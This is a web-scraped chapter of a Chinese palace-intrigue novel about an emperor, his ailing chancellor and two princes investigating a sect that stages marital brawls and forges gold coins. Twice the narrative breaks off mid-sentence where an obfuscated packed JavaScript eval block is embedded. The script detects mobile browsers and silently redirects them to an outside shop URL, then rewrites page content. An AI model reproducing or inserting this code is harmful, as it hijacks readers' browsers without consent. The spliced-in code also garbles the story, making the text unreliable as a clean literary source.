“韩威啊韩威,是他老糊涂了,还是当朕好糊弄呢!” 沙於想要劝他两句,但这个借口的确太没有说服力。 成武帝没有回头,但是却等着沙於下一步的动作。 沙於也是聪明人,他很快反应过来,也一如既往没有搭茬,只上前一步,小心翼翼道:“陛下,老奴替您捏捏肩。” 见他如此,成武帝说不上满意不满意,只疲惫‘嗯’了一声,而后便闭眼享受起来。 享受了一会儿沙於力道适中的捏肩,成武帝像是舒缓很多。 他睁开双眼,重新看着手中韩威写的信,问沙於,“沙於你说,韩威是不是真的老得不中用了。” 他指信上的字,冷笑道:“你看韩威这字,杂乱飘忽,不会当真病入膏肓,命不久矣了吧?” 他又道:“韩威老矣,但左相位置不可空缺,沙於你替朕分析分析,如今这朝堂之中,谁人能接替韩威。” 沙於一惊,连忙跪下,惶恐道:“陛下问起两位皇子脾性,老奴还敢斗胆说上两句,毕竟老奴是看着他们长大的。但陛下要问起朝堂之事,那便是在折煞为难老奴。” 看着沙於这模样,成武帝好笑伸手将他扶起了。 “你在害怕什么,朕实在拿不出主意,才想问问你。”成武帝笑道,“毕竟你也陪着朕长大,最了解朕。” 看着颤颤巍巍的沙於,他无奈道:“你们一个个的,动不动就跪下求饶,弄得朕都忍不住自省朕是否过于残暴独裁。” 一听这话,沙於讪讪笑道:“征战时陛下用兵如神、体恤兵士,回到鄂阳,陛下又兢兢业业,上明群臣、下察百姓,您若是暴君,那便没有明君了。” 沙於又道,“只是,大嬴朝臣众多,老奴的确不知,更不敢妄言。” 成武帝叹了口气,“也是,你陪朕亲征近十载,回来后又想方设法给朕补养身体,没时间、更没机会去详细了解每一个人。” “罢了,索性韩威还没传出死讯,那便暂时如此吧。” 沙於没有再搭茬,只恭顺给成武帝继续捏肩。 * 左相府,韩威寝屋。 韩威病恹恹躺在烛火昏暗的床上,邹珣垂首坐在床边。 祖孙两沉默良久,许久没有人说话,还是坐在阴影下为韩威把脉的素衣男子率先开口,打破僵局。 “二皇子已然知错,左相息怒,别气坏了身体。”他又说,“二位也不必紧张,下官能坐在这,就说明陛下没有要动怒的意思。” 听到子瞮如春风般和煦的声音,邹珣猛地抬头看向子瞮,“此话当真,证据确凿,父皇却当真不会责怪外祖父。” 邹珣这话还没完全说完,怒目瞪着他的韩威猛地咳嗽。 邹珣大惊,还是子瞮起身让开,并眼神示意他,他才反应过来,一副孝子贤孙的模样,连忙上前替韩威抚背顺气。 见韩威一口气喘过来了,子瞮才关切道,“左相千万珍重身体,左相之位落入他人手中,是陛下最不想看到的。” 韩威咳嗽着,对子瞮恭敬道:“承蒙陛下关切,臣定然会好生调养。” 邹珣还没转过弯来,又问:“祖父买凶杀害邹杲之事,父皇当真不会再追究了?” 子瞮笑笑,还没说话,韩威便抓起床边的汤药碗朝邹珣脚边砸去。 韩威一边咳嗽,一边低声吼道:“你闭嘴。” 见邹珣一脸欲言又止的不服气,子瞮意味不明笑笑,“只念左相是二皇子您的亲外祖父这一点,陛下便不会轻易对左相动怒,何况韩贵妃还深得陛下喜爱。” 邹珣一怔,像是懂了,但是眼神中又都是疑惑,猛地转头看向韩威。 韩威已经不想和邹珣说话了,只看向子瞮,拱手道:“劳烦子瞮典客转告陛下,老臣必为大嬴江山社稷尽心竭力,不负陛下今日宽容体恤大恩。” 子瞮笑着拱手回礼,“左相有这个心就好,好生养好身体,陛下等着您早日回归朝堂呢。左相需要静养,陛下也还等着下官回去复命,下官便先行告辞了。” 韩威点头,也不管还没转过弯来的邹珣,叫来守在门外的管家,将他扶下床,又是给子瞮塞东西,又是恭恭敬敬送子瞮从偏门离开。 将子瞮送走,邹珣终于反应过来,他上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683248|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶住韩威,并赶走管家,这才难忍兴奋,问韩威:“祖父,父皇此番赦免您的大过,是有意培养扶持我做下一任帝王,对吗?” 韩威停下脚步,瞪了邹珣一眼,见邹珣讨好嬉笑的单纯模样,他一肚子的气也消了大半。 毕竟是亲孙子,再顽劣,终究是无法割舍。 “扶我去那边坐下。” 邹珣点头,一声声‘祖父’叫得那叫一个甜蜜,一句句‘慢点’说得那叫一个关切。 韩威没理他,坐下后,示意他也坐下,这才看向他。 韩威几番不悦,但看着他和自己有几分相似又面带笑容乖巧的脸,又心软。 韩威叹气,看向邹珣道:“你能在我不知不觉中取走祖宅地契、盗用我的官印,还能联系上暗秋城之人,让他们配合你的计谋,将对我不利的罪证顺理成章送到邹杲手上,进而送到陛下手中,的确有几分本事,但是这也是你最致命的一点。” “祖父你在说什么,孙儿听不懂。” 见邹珣还要狡辩,韩威长叹一声,痛心疾首盯着邹珣,“你以为,你扳倒我,便能得到我手下所有人脉吗?那是活生生的人,他们也会趋利避害,只凭现在的你,把握不住,更压制不住。” 邹珣也知道自己做错了,他非常心虚,生怕韩威不管他了,可怜兮兮喊着,便想狡辩,“祖父,我……” 韩威伸手打断他,“我既是你的外祖父,也是你的太傅,你那点小伎俩,我比你看得更清楚。” 邹珣有些难堪,但还是谨慎的没有反驳。 见他如此,韩威才有了几分安慰。 “珣儿,我子嗣稀薄,你舅舅早逝,我也老矣,我做的一切,全是为了你,你可以怀疑任何人,也可以扳倒任何人,但你万万不该在这个时候将刀尖对准我。” “你姓邹,但你却也流着我韩家的血,你与韩家本该一荣俱荣一损俱损,韩家也会用所有的力量来托举你,必要之时,不需你动手,我自会用我这把老骨头替你铺路,你又何必心急。” 邹珣猛地抓住韩威的手,挤出大滴大滴的眼泪哭得那叫一个痛苦懊悔,“祖父,是孙儿鬼迷心窍做错了事,孙儿不该听信门客的谗言,祖父要打要罚,孙儿……” 韩威再一次打断他。 纵使看出邹珣不是真心在认错,韩威还是没有拆穿他,只提点道:“你要记得,你母妃姓韩,邹瑅的母亲姓欧阳,是先有我韩家和欧阳家的盛宠,你们的母亲才能得到进宫服侍陛下的殊荣。” 邹珣也完全反应过来了,他抓住韩威的手,“我明白了,祖父,我都明白了。” “您和邹瑅的舅舅欧阳谨同在‘四公’之列多年,是父皇有意让你们彼此制衡,一旦您倒塌,邹瑅有欧阳谨、欧阳慎的支持,便能占据上风,届时,就算父皇有意立让我继承大统,因为欧阳家势力的缘故,也未必能成功。” “这也是我用您的名义触犯了父皇的大忌,父皇却不动您的原因。” 见邹珣想通,韩威叹气,拍了拍他的手背,“你知道这些便好。” 邹珣点头,兴奋又道:“祖父,父皇此举,是不是更心仪我……” 话没说完,韩威厉声道:“闭嘴,不可妄自揣测陛下之意。” 邹珣连忙闭嘴,那可怜模样,韩威叹气,语气了轻缓一些,“在乾坤未定前,你只需要乖乖跟着陛下跟前,不要再做任何触犯陛下大忌的事,不要再让陛下看到你的不足。” “其他的,我会帮你摆平,有我和韩家的根基在,你不用担心任何事。” “我知道了,祖父,我一定不会再犯。”邹珣乖巧笑着连忙点头回应。 韩威打断他,“少说漂亮话。离间的门客立刻处理了,以后行事之前,多思虑,你自己想不通便先去问问你母妃,她虽是妇道人家,但大是大非面前,她看得透亮。” 邹珣连忙点头,“好,孙儿记住了。” 韩威看着他,又低声警告,“安阳公主和睿王那边,你也少与之往来,陛下不喜他们不是一两日了,尤其是安阳公主。” 这倒是让邹珣与欲言又止,但见韩威的表情,他还是只说知道了,今后会注意。 片刻,韩威又问:“除了你和暗秋城那边的联系,你可还有别的事瞒着我?” 邹珣一怔,但还是笑着摇头,“没有了。” “确定?”韩威道,“除了陛下,你便只能依赖我。如今邹杲态度不明,若是他有意触犯龙威还好。若是他无意,那必定是我们敌人。如今他身在鸿秋塞,再被他抓到把柄……” 韩威的话已经说得很直白了,但邹珣还是果断摇头,“孙儿再不敢欺瞒祖父,祖父放心。” 见邹珣如此笃定,韩威也不再多说,只道:“如此便好。”又道,“陛下让李卓带你查案,是有意让李卓指点你,我无大碍,你速去寻李卓。” “好。”邹珣说着,就要抽出手起身离开。 在他走前,韩威抓住他的手,“不要过分殷勤,李卓能得到陛下的青睐,除了他的才能,便是他的公正不阿,过分的讨好,只会让他厌烦你。” 邹珣又是一愣,韩威又一次,说中了他原本的打算。 韩威却放开了他的手,不再多说,只挥手驱赶他。 邹珣反应过来,恭敬行礼,这才转身离开。 看着邹珣远去的背影,韩威长叹了好几口气,本就疲劳的脸越发的疲惫。 但是如今,他膝下无子,一众外孙中,也只有邹珣身份最尊贵,能帮助韩家更上一层楼。 * 许久过后,韩威唤来管家,勒令管家彻查府中所有人员,尤其是膳房之人。 34.幽冥卷·第九章 9 从御书房离开后,邹瑅便直接跟在颍王邹黍,也就是邹瑅如今仅有的皇伯父身后。 两人都没先开口,短暂的沉默踌躇后,还是邹瑅沉不住气,一边跟着继续走,一边试探问:“伯父,关于‘复儒教’一事,您打算从何处查起?” 成武帝在外亲征时,邹黍是监国,如今成武帝回来了,邹黍又有意避嫌,为了不落人口舌,成武帝便让邹黍担任九卿中的‘宗正’一职,管皇族宗室事务。 因为常年的征战,大嬴皇室的人丁并不算兴旺,上一辈,除了太后和几个太妃,就只有一个神志不清的老王爷——明王。 明王膝下虽有三儿两女,但他的大儿子英年早逝,小儿子死在了战场上,二儿子自小体弱多病,能活到如今,全靠珍稀药物蕴养。 老王爷的大儿子没有留下子嗣,二儿子有一儿一女,小儿子只有一女,三人都已经成婚。 成武帝邹黍这一辈,兄妹十三人,除了五个早就嫁做人妇的公主,便只剩下成武帝和邹黍两人。 逝去的几个兄弟共留下五子八女,都已经成年婚嫁,虽都在鄂阳,却都是些闲散享受的。 成武帝共育有三儿一女,长子邹玙战死沙场,二皇子邹珣膝下以育有两子一女,长子为二皇子妃所出,女儿和小儿子分别为侧妃和侍妾所出,且二皇子妃前不久又诊出了喜脉。 至于邹黍本人,他只有一个独子,且远在逍遥门,如今也就只有邹瑅和静姝以及成武帝义子邹杲尚未婚配,可能需要他操点心。 除此之外,有成武帝压着,这些宗亲轻易不敢翻起水花。 细算起来,邹黍这个宗正,没比子瞮那个典客繁忙多少。 而且,虽然还未正式提起,但是成武帝似乎早就有革新的意思,宗正典客这种虚职,在不久之后,或许便会不复存在。 不过,这些倒不是邹黍要担心的,若是可以,他巴不得辞官,回家安心养老。 或许是因为无儿女在跟前的缘故,看着双眸清澈明亮的邹瑅,邹黍莫名亲切。 因此,邹黍对邹瑅多了几分包容与温和。 邹黍一边走,一边平和问:“殿下以为呢?可是已经有了打算?” 见邹黍温柔和蔼,邹瑅也丢弃了那几分尴尬和警惕,但礼仪还在。 他点点头,邹黍也温和点头,笑着示意他说说看,他才说道:“‘复儒教’和乞巧节杀人一案脱不了干系,最直接的突破口是神武军箭矢的来源;否则,便只能挨个走访那些与丈夫打架的女子,从她们的口中撬出些许蛛丝马迹,但这样,所行事务将会异常繁重,还有很大可能无功而返。” 邹黍赞许点头,一边走,一边道:“你说得不错,箭矢是关键,但这事陛下已经交给太尉去查了,我们不能再插手。” 邹瑅有些失落,但想到邹杲,还是说道:“那就只剩下挨个询问那些女子及其丈夫这一条路了。” 邹黍点头,又道:“事不宜迟,我们兵分两路,殿下你带领陛下赐予的一百龙武军去坊间寻找那些女子,我先去廷尉府看看。” 因为‘复儒教’,和丈夫打架的女子不少,有几个险些把丈夫打死,这些严重的,暂时被关押到廷尉府,其他的小打小闹,官府出面教育后,便放其回去了。 “伯父您独自去廷尉府吗?”邹瑅又道,“安全起见,伯父还是先同我去城外龙武军营提人,让几名军士陪您一起吧。” 邹黍想了想,也没有拒绝,点头跟着他骑马去往城外的龙武军营。 两万龙武军驻扎在鄂阳城外二十里外,因为龙武军的驻扎,此地也更名为龙武湾。 拿着圣谕,两人提到了一百龙武军,到达城门口后,两人便一人带领五十人,兵分两路。 接过亲信取来的名册,邹瑅带着人亲自走访。 第一户是一对年轻夫妻,名册上写夫妻俩成婚四年,育有两个女儿,最大的女儿不过三岁,都正是需要照看的年纪。 邹瑅去时,夫妻俩一人抱着一个女儿,男人头裹纱布在给大女儿喂食,女人则抱着哭闹不止的小女儿在院子里转圈。 听到敲门声,还是女人抱着小女儿来开的门。 看到邹瑅和他身后五十名身材高大、凶神恶煞的龙武军,女人浑身僵硬,脸上都是恐惧之色,紧紧抱住怀中尚在襁褓中的小女儿。 “军、军爷,您……”女人结结巴巴,显然吓得不轻。 邹瑅带这么多人是为了震慑他们不错,但没想真对这些普通老百姓做什么。 “你不必害怕,我们来,只是想问你们几句话。” 这时,屋里的男人听到动静,快步跑了出来。 “翠云!”男人惊慌而来,手中的碗筷都没来得及放下,左手端着的木碗里是小半碗方便小孩食用的软和食物。 男人话音未落,便看正好对上人高马大的邹瑅审视的视线,明显,男人也吓了一跳,这时,大女儿也踉踉跄跄喊着爹爹跑出来。 男人又是一惊,但却不忘转身接住随时可能会摔倒的大女儿,让其抱着他的腿,并不动声色将抱着小女儿的妻子挡在身后。 “军爷,您、你们……”男人也哆哆嗦嗦、结结巴巴的,但却实实在在将自己的妻女护在身后。 女人抱着小女儿和大女儿一起躲在男人身后,明显非常依赖男人。 他们这架势,邹瑅倒是看不懂了。 “你们不必害怕,我们来,只是有些事想问你们。”邹瑅说着,亮明他的身份金牌,又道,“我是当今陛下第三子邹瑅,进去说吧。” 夫妻俩都吓够呛,或许是邹瑅等人脸太黑,两个孩子还哭了起来,大点的那个不敢大哭,只小声的抽泣着。 他们的院子在城门附近,比较偏,也不算大,夫妻俩平日里,一个在家做米糕,一个挑着上街叫卖,小日子倒还过得不错。 这些,从他们院子里的用具和其干净整洁程度便能看出来。 院子比较小,才进入二十人,便挤满了,龙武军又都高大,此刻还都穿着盔甲,黑压压的一片,一家四口只能站在阴影中。 看到两个小孩被他们吓得都不敢放声大哭,邹瑅也有些抱歉。 但为了能问出有用的消息,他只能继续黑着脸,看向女人冷声问:“你今早为何和你丈夫动手?” 女人一怔,一只手下意识抓着男人的衣摆,想让男人替她回答。 男人也瞬间明白妻子的意思,他虽然也在颤抖,但还是对邹瑅道,“不怪翠云,是我嫌弃她生不出儿子,三天两头打她和两个闺女……她实在受不了,才还手的。” 邹瑅盯着男人反手下意识护着大女儿脑袋的右手,再看着男人端着碗筷,却还微侧到身后、让女人抓着的左手,邹瑅实在是无法相信男人这番话。 “你们确定是因为这个?” 他话没说完,男人便连忙点头,“是,就是因为这个,都是我的错,我不是东西,我虐待妇孺,我罪有应得,” 邹瑅盯着男人,也不说话,只阴沉着脸上前,他上前一步,男人扶着妻儿后退一步,直至被逼到角落里,见邹瑅手握腰间佩刀似乎拔出来,男人大惊,丢了碗筷就张开双手,死死将妻女护在身后。 “都是我的错,我就算死了也是我罪有应得,翠云和孩子是无辜的,你冲我来!” 女人也啜泣着,小声喊着“大柱哥”。 邹瑅一边满意男人的担当,一边又更加纳闷头疼。 他不想吓到小孩,但是夫妻俩咬死了不说实话,他别无他法。 犹豫再三,邹瑅还是没法对妇孺下手,他心一狠,对男人下了手。 他猛地上前,抓住男人的双手,一个利落的擒拿,当着男人妻女的面,将男人按在了地上。 女人和两个小孩都吓得不轻,但却都格外焦心,特别是大一点那个,她哭着便冲上来捶打邹瑅的手,让邹瑅放开她爹爹。 女人抱着小女儿泣不成声,跪倒在男人身边,“大柱哥,” 邹瑅身后的两名龙武军当即拔出佩剑上前,挡在女人和男人中间,将夫妻两个人隔开。 挣扎不止的大女儿也一名龙武军抱住,哭得上气不接下气。 女人无助哭着喊着,没有一人凉席她,只都看向邹瑅,见状,她也只得哀求看向邹瑅,“求求您,给我们一家一条活路吧……” 邹瑅适时用力按压男人的胳膊,让男人痛叫出声,而后盯着心急如焚的女人,冷漠道:“活路就掌握在你手中。” 他更加狠厉几分,“最后一次机会,你到底因为什么和你的丈夫动手?你若当真痛恨极他,只要你点头,我立刻做主替你了结了他,还你自由。” 邹瑅说着加重力道,男人被压得痛叫一声,呼吸不畅,双目只翻白,似乎随时会被邹瑅压死。 女人更加心惊,更加慌乱,她似乎背负着巨大的痛苦,看看邹瑅,再看看奄奄一息的丈夫,终于她失声大哭,瘫坐在地上。 她一边哭,一边口齿不清急切喊:“都怪我,都是我的错,求您,求求您,先放开大柱哥,我错了,都是我错了,我不该被钱财迷了心窍,” 见女人松口,邹瑅也放开了男人,还拉着让他站起来。 脱困的瞬间,男人顾不上其他,抢过大女儿,紧紧抱着转身就朝妻女跑去,紧紧将她们拥在怀中,温声安抚。 等男人将妻女安抚好,邹瑅才看向男人道:“说说吧,谁给的钱财,具体要你们怎么做?” 男人也不敢再隐瞒,但还是有顾忌,他看着邹瑅,哆嗦道:“是两个穿着黑袍听不出男女的人,他们半夜潜入我们家,用我们一双女儿威胁翠云,要翠云在今日的辰时三刻,以我重男轻女、虐待妻女为由和我动手并惊动官府,否则,他们就会找机会来杀掉我们的女儿。” “但如果我们按照他们的吩咐办事,他们不但不动我们的女儿,还承诺给我们十个小金饼。” 他说着,似乎生怕邹瑅不信,连忙快步跑进屋,很快捧着一个用衣物裹得紧紧的小包袱出来。 男人将小包袱剥出双手捧着递给邹瑅,“军爷您看,这就是他们给的五个小金饼。还有一半,他们说过后来给,但是……” 男人说着也忍不住哽咽起来,女人哭着接着说:“……但是,他们说,我们要是敢说漏嘴的话,他们就不是来送钱,而是灭门。” 邹瑅打开层层包裹着的布囊,里面的确是五个金灿灿的小金饼。 但是仔细一看,再往佩剑剑柄上一磕,邹瑅便看出了端倪,这东西不是真正的黄金,更不是大嬴铸造发行的小金饼。 邹瑅心下一惊,除了神武军特用的箭矢,他们居然还在私造钱财。 男人像抓住最后一根救命稻草一样,跪着上前又喊:“军爷,我们夫妻俩安分守己,就做了这一次亏心事,军爷,求您救救我们,您救救我们一家老小。” 他说着,和女人一起就开始磕头,甚至,还按着抽泣不止的大女儿的小脑袋,让她也猛猛磕头。 邹瑅一惊,连忙将手里的证物递给身后的随从,上前将女孩抱起,又将夫妻俩扶起来。 “放心,你们是我大嬴的子民,我作为大嬴的皇子,不会轻易让任何人伤害你们。” 这是邹瑅第一次抱孩子,他有些无措,将两人扶起来后,连忙将小女孩还给男人。 看着一家四口,邹瑅沉思片刻,心下有了想法,他看向夫妻俩,温和道:“你们跟我出来。” 说罢,邹瑅先一步带着龙武军撤出院子。 因为外面还有三十名龙武军,街坊四邻虽然好奇,却也不敢出来。 邹瑅直接让龙武军将他们方圆十余户人家都请了出来。 一众百姓都吓得不轻,一个劲直喊冤枉。 邹瑅也不浪费时间,等人都集齐后,先是亮明他的身份金牌,然后对众人道:“我是大嬴三皇子邹瑅,你们身后的,是守卫鄂阳的龙武军。” 一个老妇当即从人群中挤到前面,她眼含热泪惊喜又感激,“三皇子殿下,真的是您吗?” 邹瑅有些愕然,他对面前的老妇没有印象,但还是下意识上前伸手接住要下跪的人。 老妇更加激动,“是了,就是了!” 她紧紧抓住邹瑅的手,“殿下,八日前,多亏您救了我儿一命,否则我们一家老小,都要跟着去了,殿下!” 一个妇人和四个半大的孩子也跟着跪下来谢邹瑅的恩情。 这么一说,邹瑅就想起来了,八日前,几个有点家族背景的地痞无赖当街闹事索要安保费用,不但掀了人的小面摊,还对摊主动手。 碍于其人多势众和身份背景,没人敢上前阻拦,要不是邹瑅恰好出现,摊主恐怕已经死了。 老妇说着,就要跪下给邹瑅磕头,连带着她的一家老小。 这事对邹瑅来说是分内之中的,他甚至懊悔没早点发现,还有些愧疚不敢面对摊主的家人。 而如今,一个花甲之年、腿脚不便的老妇不但对他感激万分,还要给他下跪磕头,他哪里能坦然承受,心下一惊,连忙上将人扶起。 “快快起来,快快起来。我作为大嬴的皇子,替父皇分忧、保护大嬴百姓是应该的。”邹瑅连忙又说,“今日我召集你们出来是有要事找你们相助。” 闻言,一个老翁道:“陛下与殿下爱民如子,我等自当敬重,殿下有何吩咐,但说无妨。” 这老翁与老妇一家应该关系匪浅,此话一出,老妇的儿媳和孙儿们连忙起身,搀扶过激动不已的老妇。 老翁看向邹瑅,又说:“殿下一心为我等,所说之事也定与我等安危有关,老朽我虽然手脚不便,但只要殿下您吩咐,老朽我就算拼上这把老骨头,也一定做好。” 此话一出,十多个青壮男女也接二连三回应。 邹瑅有些感动,道谢过后,他看向众人严肃道:“我大嬴儿郎向来便铁骨铮铮,一双铁掌除了杀敌卫国,便只会养家护己,断然不会欺辱妇孺,何况张翠云和赵大柱夫妻俩素来恩爱,我所说之事,便和他们今早打架有关。” 一个女子大着胆子问:“殿下,是和突然传遍大街小巷的‘妇孺教’有关吗?” 邹瑅点头,简短说明赵大柱夫妻俩被歹人威逼利诱而打架之事。 众人听罢,一片唏嘘不忿,邹瑅又道:“歹人一定还会来,或许,还就藏在你们之中。” 闻声,众人又是一惊。 不等七嘴八舌的众人说完,邹瑅又道:“我这么说,不是不相信你们,而是想提醒你们警惕,他们得知赵大柱如实告诉我前因后果后,多半会来找赵大柱一家报复,你们作为赵大柱的街坊,能比我们更早听到风吹草动。” “这些歹人妄图挑动男子与女子的对立来制造混乱,以此来破坏我大嬴得来不易的安宁,我们作为大嬴儿女,一定不能让他们的奸计得逞。” “当然,这也会很危险,但越是这个时候,我们越得团结起来。”邹瑅看向众人道,“我承诺你们,若是你们因歹人而受伤或是不幸身亡,无论是治疗还是家属,我都会自掏腰包负责到底。若是能成功抓到歹人,我会实禀告父皇,父皇向来赏罚分明,听闻你们的功劳,定会依功论赏。” 话音刚落,一个中年男子道:“有殿下这句话,就算是死,我们也一定不会让歹人再次做乱。” 另一个健壮的男子道:“我现在就拿上锄头柴刀住到大柱哥家中去,我看谁敢来。” 一众青壮男子女子纷纷应和,连小孩都义愤填膺,誓死听从号令,守卫来之不易的祥和。 邹瑅很感动,叮嘱了一些细节,告诉他们发现风吹草动一定要喊人来报官后,又留下一名龙武军驻守,这才带着剩余龙武军继续走访下一家。 开了头,传出一些风声后,剩余夫妻几乎都主动开口,不等邹瑅组织,街邻四访便都主动站出来,说会帮忙配合。 不到傍晚,邹瑅便带着龙武军走遍了名单上所有的家庭,原本的五十名龙武军也只剩下十一人。 这事很快在鄂阳传得沸沸扬扬,也传进了成武帝的耳中。 傍晚,邹瑅才带着缴来的假小金饼和邹黍汇合,便被成武帝传见。 邹瑅一人扛着一百九十五个小金饼,跟着邹黍一起进宫,去到了御书房。 出乎邹瑅意料的,他看到了子瞮。 更出乎意料的,子瞮不是或跪或站在下方,而是和沙於一左一右伺候在他父皇身边。 甚至,子瞮还直接看起了奏折。 要知道,这些奏折,除了父皇,也就两个丞相和他们兄弟俩能翻看,沙於传递时,都得小心翼翼的。 不等邹瑅收起震惊疑惑的情绪,就见他父皇将手中的奏折递给子瞮,而后看向他们两人说:“皇兄,瑅儿,朕听闻你们的进展颇为顺利,同朕说说其中详细。” 见邹瑅盯着子瞮,还没反应过来,邹黍声音高了些,是在提醒邹瑅回神。 “回陛下的话,团结街坊、守株待兔的计谋是殿下想出来的,也是殿下一手去做的,其中过程详细,还是殿下亲自来讲给陛下听吧。” 邹瑅也终于回过神来,他将手里提着的小金饼放下,拱手行礼,而后正色道:“启禀父皇,通过走访,儿臣只暂时知晓那些夫妻在同一时间拳脚相向均为神秘黑衣人引导逼迫。出手稍重的那几个则是因为平时丈夫就对妻子不好,并且,她们都被诱导说法不责众,让她们尽可趁机报仇,这才痛下死手。” “儿臣此举虽问出了实情、团结了邻里,不过如此一来,想要抓到复儒教的人恐怕就难了。” 见成武帝许久没有回应,邹瑅鼓起勇气抬头看向成武帝,坚定道:“但儿臣认为,大嬴子民性命大过一切。敌在暗我在明,纵使没有打草惊蛇,也难找到他们的踪迹,说不定还会导致无辜的百姓死亡。” “…而如今,虽打草惊蛇,但只要与君民同心,等到复儒教的人按耐不住,便是瓮中捉鳖之时。” 成武帝这才出声,“嗯,这件事你做得不错。” 邹瑅紧绷的情绪舒缓一些,又说:“除此之外,儿臣还发现,黑衣人用于收买百姓的小金饼并非钱监制造,所用原材甚至并非纯黄金。” 沙於已经走到他面前,邹瑅说罢,蹲下打开包袱,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688818|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机抓了一把递给沙於。 沙於双手接过,捧着递给成武帝面前。 成武帝示意沙於放到面前的桌子上,他先各递给沙於和子瞮一个,才自己拿起一个观望。 小金饼都是货真价实的黄金打造的,不但得做成特定的大小和样式,还印有钱监统一的印章。 而邹瑅收来的这些假小金饼,除了材质比黄金硬,细节几乎完美。 “这些人本事倒是不小,先是箭矢,后是货币,一桩桩一件件,都是在挑衅逼朕。” 一阵沉默,最后,还是邹瑅先开口。 “父皇,金饼在我大嬴作为货币沿用了几百年,不但多次被偷工减料仿造,还不利于日常出行的携带,父皇您也曾说货币需要革新,既然有人再次仿造金饼,不如,借此契机将货币进行一番革新。” 成武帝又抓起几个小金饼,他捏在手里,看向邹瑅,赞许点头。 想了想,他对沙於吩咐:“沙於,命人去把太尉、御史大夫、李卓还有珣儿都喊来。” “是。”沙於应着,恭恭敬敬放下小金饼,转身出去。 成武帝看向邹黍,“皇兄,今日操劳,怕是还没来得及用晚膳吧?” 邹黍摇头,“禀陛下,臣用过了,倒是三皇子一直在坊间走访,不曾来得及用膳。” 成武帝点头,看了邹瑅一眼,扭头看向子瞮,“你陪朕处理了一下午的奏折,也不曾休息片刻,正好,你便陪三皇子去用晚膳吧。” 他补充又道:“也算是休息了。” 子瞮当即跪下,“谢皇上体恤。” 成武帝嗯了声,示意他起来。 邹瑅欲言又止,但还是没说话。 这会儿,沙於也回来了,成武帝对沙於道:“沙於,吩咐下去,让御膳房立刻给阿瑅和子瞮备一桌好菜。” 沙於点头应是,成武帝又道:“再给皇兄搬一张凳子、泡一盏茶来。” 沙於应是,然后引着邹瑅和子瞮去给他们安排。 邹黍则连忙道谢。 * 不知道是成武帝特意叮嘱,还是沙於擅自为之,他将两人安排在荷花盛开的碧水庭。 太监宫女们上齐菜后,便退到碧水庭之外,碧水庭很大,两人坐在中间的水榭里说话,只要不刻意拔高声音,外面很难听到。 等饭菜上齐,天已经黑了,四周的宫灯照亮漆黑的夜晚。 明亮的宫灯下,池中的荷花都格外添加了几分风采。 沙於没有让人给他们送酒,只泡了一壶好茶。 两人相顾无言,沉默良久。 最后,还是子瞮先拿起茶,先倒了一杯放到邹瑅面前,又给自己倒了一杯,浅笑着朝邹瑅举起,“殿下爱民如子,下官佩服万分,以茶代酒,下官敬殿下一杯。” 邹瑅五味杂陈端起碰上去,仰头一饮而尽,平常的茶,却好似喝出几分酒的灼辣之感,莫名的,嗓子难受,让邹瑅久久说不出话来。 子瞮倒是非常良好,他也一饮而尽,但是却笑着放下酒杯,又起身替邹瑅盛了一碗莲子乌鸡汤。 “殿下,先暖暖胃。”子瞮关切说着,将汤递到邹瑅面前。 邹瑅从来没有对子瞮说过谢,但这次,邹瑅想,他或许得说了。 接过汤,邹瑅礼貌道谢。 一声礼貌又生疏的“多谢”,让子瞮僵硬了一下,但是还不等邹瑅注意,他便收敛情绪,笑盈盈坐下。 “殿下今日作为,子瞮真的佩服不已,” “没什么好佩服的。”不等子瞮说完,邹瑅便打断了他,“复儒教何时会按捺不住,谁也不知道,要是他们就此藏匿,恐怕会成为大患。” 马屁拍到马腿上,子瞮笑容一僵,但很快,便笑着又说:“殿下早已预料,想必已然有了揪出背后真凶的计谋。” 邹瑅用勺子在碗里搅合着,看向子瞮如实说:“并没有,我没有你和阿杲聪明,我想不到两全的办法。” 这回,子瞮的笑容是真的僵硬在了脸上。 “呵呵,殿下太过自谦了,”子瞮干笑,想以此缓解尴尬。 但邹瑅却并不领情,又道:“你不必恭维我,我知道我自己几斤几两,今日的作为,也不过是拙劣地模仿阿杲罢了。” 说罢,邹瑅端起已经凉了的汤,又是一饮而尽。 他拿过餐具盛饭,也给子瞮盛了一碗,只不过,他并没有招呼子瞮吃饭,将饭递给子瞮面前后,便自顾自拿起筷子吃了起来。 见状,子瞮也端起碗,默默小口吃着。 他才吃了一口,邹瑅便突然抬起头,看向他笑道:“忘记恭喜你了,离父皇越来越近。” 子瞮又是一怔,虽然邹瑅笑意真切、不掺杂一分嘲讽,但越是这样,他越觉十分难堪。 邹瑅也没给他说什么的机会,说完便又低下头大口吃饭。 看着邹瑅吃得香,子瞮也跟着吃,只不过,在子瞮看来,原本多姿多味的饭菜却味同嚼蜡。 两人沉默着,快吃完时,碧水庭外传来说话声。 邹瑅放下碗筷,抬头一看,便看到穿得和莲花一般清丽的静姝在几个宫女的陪伴下,顺着石桥,朝中间的水榭走来。 看到邹瑅,静姝原本非常欣喜,和邹瑅对视上,她又多了几分胆怯,似乎还有浓浓的心虚。 看着坐着一动不动的子瞮,邹瑅瞬间明白了什么。 他猛地站起来,径直离开,在走到子瞮身边时,他还是没忍住压低声音问:“梁国宝藏的事是你告诉父皇,然后传出去的吧?” 子瞮身体一僵,却没有动作。 